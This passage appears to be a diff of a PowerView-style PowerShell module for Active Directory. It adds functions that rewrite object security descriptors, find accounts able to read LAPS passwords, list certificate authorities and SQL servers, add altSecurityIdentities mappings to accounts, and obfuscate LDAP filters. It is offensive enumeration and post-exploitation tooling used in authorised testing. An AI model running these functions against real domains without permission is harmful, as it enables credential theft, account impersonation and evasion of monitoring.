SD's to be restored in the CSV format that Get-DomainObjectSD outputs. + +.PARAMETER SDDLString + +SDDL String to use to restore the SD for Object(s) specified by Identity. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectAcl -Identity charlie.clark -Domain testlab.local -SDDLString "O:S-1-5-21-2042794111-3163024120-2630140754-512G:S-1-5-21-2042794111-3163024120-2630140754-512D:AI(OA;;RP;4c..." + +Set the SD for the charlie.clark user in the testlab.local domain to +the SD string specified by SDDLString. + +.EXAMPLE + +Set-DomainObjectSD -InputFile .\backup-sds.csv + +Restore all of the SD's contained within the file .\backup-sds.csv. + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [String] + $InputFile, + + [String] + $SDDLString, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + + $SearcherArguments['SecurityMasks'] = 'Dacl' + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($Searcher) { + $RestoreTargets = @{} + $Filter = '' + if ($PSBoundParameters['InputFile']) { + try { + Write-Verbose "[Set-DomainObjectSD] Reading provided input file: $InputFile" + Import-Csv $InputFile | ForEach-Object { + $RestoreTargets.Add($_.ObjectSID, $_.ObjectSDDL) + } + } + catch { + Write-Warning "[Set-DomainObjectSD] Unable to read $InputFile" + } + $RestoreTargets.keys | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } + } + elseif ($Identity -and $SDDLString) { + Write-Verbose "[Set-DomainObjectSD] Setting provided identities: $Identity" + $Identity | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } + } + if ($Filter) { + $Searcher.filter = "(|$Filter)" + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_ + + if ($Object.Properties.objectsid -and $Object.Properties.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.Properties.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + if ($PSBoundParameters['InputFile']) { + $SDDLString = $RestoreTargets.$ObjectSid + } + + # Build Raw SD + Write-Verbose "[Set-DomainObjectSD] Building raw SD from SDDL string: $SDDLString" + $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDDLString + $SDBytes = New-Object byte[] ($SD.BinaryLength) + $SD.GetBinaryForm($SDBytes, 0) + + $Entry = $Object.GetDirectoryEntry() + try { + Write-Verbose "[Set-DomainObjectSD] Setting 'ntsecuritydescriptor' to '$SDBytes' for object '$($Object.Properties.samaccountname)'" + $Entry.InvokeSet('ntsecuritydescriptor', $SDBytes) + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObjectSD] Error setting security descriptor for object '$($Object.Properties.samaccountname)' : $SDBytes" + Write-Warning "[Set-DomainObjectSD] Make sure you have Owner privileges" + } + + } + } + } + } + +} + +function Get-DomainDN { +<# +.SYNOPSIS + +Returns the distinguished name for the current domain or the specified domain. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +.DESCRIPTION + +Returns the distinguished name for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. The SID of the returned domain controller +is then extracted. Largely stolen from @harmj0y's Get-DomainSID. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + +.EXAMPLE + +Get-DomainDN + +.EXAMPLE + +Get-DomainDN -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDN -Credential $Cred + +.OUTPUTS + +String + +A string representing the specified domain distinguished name. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate + ) + + $SearcherArguments = @{ + 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } + + if ($PSBoundParameters['Domain']) { + $DomainDN = "DC=$($Domain -replace '\.',',DC=')" + } + else { + $DCDN = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty distinguishedname + + if ($DCDN) { + $DomainDN = $DCDN.SubString($DCDN.IndexOf(',DC=')+1) + } + else { + Write-Verbose "[Get-DomainDN] Error extracting domain DN for '$Domain'" + } + } + if ($DomainDN) { + $DomainDN + } + else { + Write-Verbose "[Get-DomainDN] Error resolving domain DN for '$Domain'" + } +} + +function Get-DomainLAPSReaders { +<# +.SYNOPSIS + +Finds accounts that can view the LAPS password for machine accounts. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainLAPSReaders + +Returns the LAPS reader information in current domain. +#> + [OutputType([PSObject])] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + $Filter = '' + $ACLs = @() + if (!($Identity)) { + $Identity = (Get-DomainComputer -HasLAPS @SearcherArguments).objectsid + } + $Identity | Get-DomainObjectAcl -RightsFilter ReadLAPS @SearcherArguments | ForEach-Object { + if (!($Filter) -or ($Filter -notmatch $_.ObjectSID)) { + Write-Verbose "[Get-DomainLAPSReaders] Adding $($_.ObjectSID) to filter" + $Filter += "(objectsid=$($_.ObjectSID))" + } + if ($Filter -notmatch $_.SecurityIdentifier) { + Write-Verbose "[Get-DomainLAPSReaders] Adding $($_.SecurityIdentifier) to filter" + $Filter += "(objectsid=$($_.SecurityIdentifier))" + } + $ACLs += $_ + } + if ($Filter) { + $Accounts = @() + $Searcher.filter = "(|$Filter)" + Write-Verbose "[Get-DomainLAPSReaders] Using filter: $($Searcher.filter)" + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Accounts += $_.Properties + } + + $ACLs | ForEach-Object { + $ObjectSID = $_.ObjectSID + $PrincipalSID = $_.SecurityIdentifier + $ADRights = $_.ActiveDirectoryRights + $Object = $Accounts | ?{(New-Object System.Security.Principal.SecurityIdentifier($_.objectsid[0],0)).Value -eq $ObjectSID} + $Principal = $Accounts | ?{(New-Object System.Security.Principal.SecurityIdentifier($_.objectsid[0],0)).Value -eq $PrincipalSID} + $OutObject = New-Object PSObject + if ($Object) { + $OutObject | Add-Member "ObjectName" $Object.samaccountname[0] + $OutObject | Add-Member "ObjectType" ($Object.samaccounttype[0] -as $SamAccountTypeEnum) + } + $OutObject | Add-Member "ObjectSID" $ObjectSID + $OutObject | Add-Member "ActiveDirectoryRights" $ADRights + if ($Principal) { + $OutObject | Add-Member "PrincipalName" $Principal.samaccountname[0] + $OutObject | Add-Member "PrincipalType" ($Principal.samaccounttype[0] -as $SamAccountTypeEnum) + if ($OutObject.PrincipalType -eq 'GROUP_OBJECT' -or $OutObject.PrincipalType -eq 'ALIAS_OBJECT') { + $PrincipalMembers = @() + $Principal | Get-DomainGroupMember -Recurse @SearcherArguments | ForEach-Object { + $Member = $_ + $Member + if ($Member.MemberObjectClass -ne 'group') { + $PrincipalMembers += $Member + } + } + $OutObject | Add-Member "RecursivePrincipalMembers" $PrincipalMembers + } + } + $OutObject | Add-Member "PrincipalSID" $PrincipalSID + $OutObject + } + } + } +} + +function Get-DomainEnrollmentServers { +<# +.SYNOPSIS + +Returns the certificate enrollment servers for the current domain or the specified domain. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainDN + +.DESCRIPTION + +Returns the certificate enrollment servers for the current domain or the specified domain by searching +CN=Configuration,[DomainDN] for (objectCategory=pKIEnrollmentService) as described in +@harmj0y and @tifkin's Certified_Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainEnrollmentServers + +.EXAMPLE + +Get-DomainEnrollmentServers -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainEnrollmentServers -Credential $Cred + +.OUTPUTS + +PS Objects representing the specified domain enrollment servers. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DomainDN = Get-DomainDN @SearcherArguments + + if ($DomainDN) { + Write-Verbose "[Get-DomainEnrollmentServers] Got domain DN: $DomainDN" + } + else { + Write-Verbose "[Get-DomainEnrollmentServers] Error extracting domain DN for '$Domain'" + } + + Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(objectCategory=pKIEnrollmentService)" @SearcherArguments +} + +function Get-DomainCACertificates { +<# +.SYNOPSIS + +Returns the CA certificates for the current domain or the specified domain. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainDN + +.DESCRIPTION + +Returns the CA certificates for the current domain or the specified domain by searching +CN=Configuration,[DomainDN] for (objectCategory=pKIEnrollmentService) as described in +@harmj0y and @tifkin's Certified_Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainCACertificates + +.EXAMPLE + +Get-DomainCACertificates -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainCACertificates -Credential $Cred + +.OUTPUTS + +PS Objects representing the specified domain CA certificates. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DomainDN = Get-DomainDN @SearcherArguments + + if ($DomainDN) { + Write-Verbose "[Get-DomainCACertificates] Got domain DN: $DomainDN" + } + else { + Write-Verbose "[Get-DomainCACertificates] Error extracting domain DN for '$Domain'" + } + + Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(objectCategory=certificationAuthority)" @SearcherArguments +} + +function Get-DomainSQLInstances { +<# +.SYNOPSIS + +Returns a list of SQL instances for the current domain or the specified domain usable with PowerUPSQL cmdlets. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainDN + +.DESCRIPTION + +Returns a list of SQL instances for the current domain or the specified domain by searching +for (serviceprincipalname=MSSQLSvc*) and modifying the relevent SPNs to be directly usable with +PowerUpSQL cmdlets. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSQLInstances + +.EXAMPLE + +Get-DomainSQLInstances -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSQLInstances -Credential $Cred + +.OUTPUTS + +Strings +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + Get-DomainObject -LDAPFilter "(serviceprincipalname=MSSQLSvc*)" @SearcherArguments | select -expand serviceprincipalname | Where-Object { + $_ -match "MSSQLSvc" + } | Foreach-Object { + ($_ -split '/')[1] -replace ':',',' + } +} + +function Add-DomainAltSecurityIdentity { +<# +.SYNOPSIS + +Adds a value to the altSecurityIdentities AD attribute. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Set-DomainObject, Get-DomainDN, Get-IdentityFilterString + +.DESCRIPTION + +Adds a value to the altSecurityIdentites AD attribute while ensuring the current values remain the same. + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER Type + +The type of identity to add (Certificate or Kerberos). + +.PARAMETER Issuer + +The certificate issuer, if a Certificate has been specified. + +.PARAMETER Subject + +The certificate subject, if a certificate has been specified. + +.PARAMETER Account + +The external Kerberos account to add, if Kerberos has been specified. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Add-DomainAltSecurityIdentity + +.EXAMPLE + +Add-DomainAltSecurityIdentity -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainAltSecurityIdentity -Credential $Cred + +.OUTPUTS + +Nothing + +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [ValidateSet('Certificate', 'Kerberos')] + [String] + $Type = 'Certificate', + + [ValidateNotNullOrEmpty()] + [String] + $Issuer, + + [ValidateNotNullOrEmpty()] + [String] + $Subject, + + [ValidateNotNullOrEmpty()] + [String] + $Account, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + $DomainDNArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainDNArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainDNArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainDNArguments['Credential'] = $Credential } + } + + + PROCESS { + $Filter = '' + if ($Identity) { + Write-Verbose "[Add-DomainAltSecurityIdentity] Setting provided identities: $Identity" + $Identity | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } + } + + $AltIDString = '' + if ($PSBoundParameters['Type'] -eq 'Certificate') { + $DomainDN = Get-DomainDN @DomainDNArguments + $DomainDNSplit = $DomainDN -split ',' + [array]::Reverse($DomainDNSplit) + $ReversedDomainDN = $DomainDNSplit -join ',' + + $AltIDString = 'X509:' + if ($PSBoundParameters['Issuer']) { + $AltIDString += "$ReversedDomainDN,$Issuer" + } + if ($PSBoundParameters['Subject']) { + $AltIDString += "$ReversedDomainDN,$Subject" + } + else { + Write-Error "[Add-DomainAltSecurityIdentity] Certificate altSecurityIdentity requires a Subject" + return + } + } + elseif ($PSBoundParameters['Account']) { + $AltIDString = "Kerberos:$Account" + } + else { + Write-Error "[Add-DomainAltSecurityIdentity] A -Type must be set" + return + } + + Write-Verbose "[Add-DomainAltSecurityIdentity] Using Alternate Identity string: $AltIDString" + + + if ($Filter) { + $Searcher.filter = "(|$Filter)" + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + if ($Props.keys -contains 'altsecurityidentities') { + $AltIDs = $Props['altsecurityidentities'] + } + else { + $AltIDs = @() + } + + $AltIDs += $AltIDString + + Set-DomainObject $Props['samaccountname'] -Set @{'altsecurityidentities'=$AltIDs} + } + } + } +} + +function Invoke-LDAPQuery { +<# +.SYNOPSIS + +Retrieve an LDAP query and return the results in a common format. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Retrieve an LDAP query and return the results in a common format. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.PARAMETER SSL + +Switch. Use SSL to connect to LDAP Server. + +.PARAMETER Obfuscate + +Switch. Automatically obfuscate LDAP filter string using hex encoding. + +.EXAMPLE + +Invoke-LDAPQuery -Domain testlab.local + +.INPUTS + +String + +.OUTPUTS + +PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = '*' } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if 